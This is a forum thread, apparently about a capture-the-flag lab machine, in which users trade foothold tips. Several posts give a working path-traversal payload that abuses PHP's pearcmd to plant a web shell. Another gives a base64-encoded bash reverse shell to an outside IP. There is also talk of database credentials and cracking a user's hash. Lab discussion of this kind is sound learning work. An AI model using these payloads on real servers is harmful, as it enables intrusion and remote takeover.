[UnkownWombat]

http://signserv.ssg.htb/docs

oh wow great find

[wranglerray]

lol well it was actually netstat -ano

[glock05]

lol well it was actually netstat -ano

well, awesome one!

[wranglerray]

for those having issues with the foothold

GET /index.php?page=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?system($_GET['cmd']);?>+/var/www/itrc/uploads/shell.php


put this in burp

navigate to /uploads/shell.php

[glock05]

You can also do it this way

/index.php?page=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?shell_exec(base64_decode("L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTAuMTAuMTQuMTg0LzQ0NDQgMD4mMSc="));?>+/tmp/hello.php

Just replace the base64 paylaod with your reverse shell base64 encoded

[0xScriptkiddie]

Can you explain how did you found this vulnerability.i mean how did you found that they using thinkphp

[jsvensson]

Given clues about zzinter hash in the mysql db from earlier - anyone figured out how to get into it? Host is missing.

User and pass are in `/var/www/itrc/db.php`

Figure that's next step to user.

just use mysql -u user -p -h db
trying to crack hash for zzinter but i don't think it's possible

[jsvensson]

I rather think from messages and tickets we should sign public key from http://signserv.ssg.htb/. But how to authorize there.

[b2synapse]

You can also do it this way

/index.php?page=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?shell_exec(base64_decode("L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTAuMTAuMTQuMTg0LzQ0NDQgMD4mMSc="));?>+/tmp/hello.php

Just replace the base64 paylaod with your reverse shell base64 encoded

Where can i find the tmp/hello.php?

[tkmaster]

for those having issues with the foothold

GET /index.php?page=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?system($_GET['cmd']);?>+/var/www/itrc/uploads/shell.php


put this in burp

navigate to /uploads/shell.php

How to find this usr/local/lib/php/pearcmd?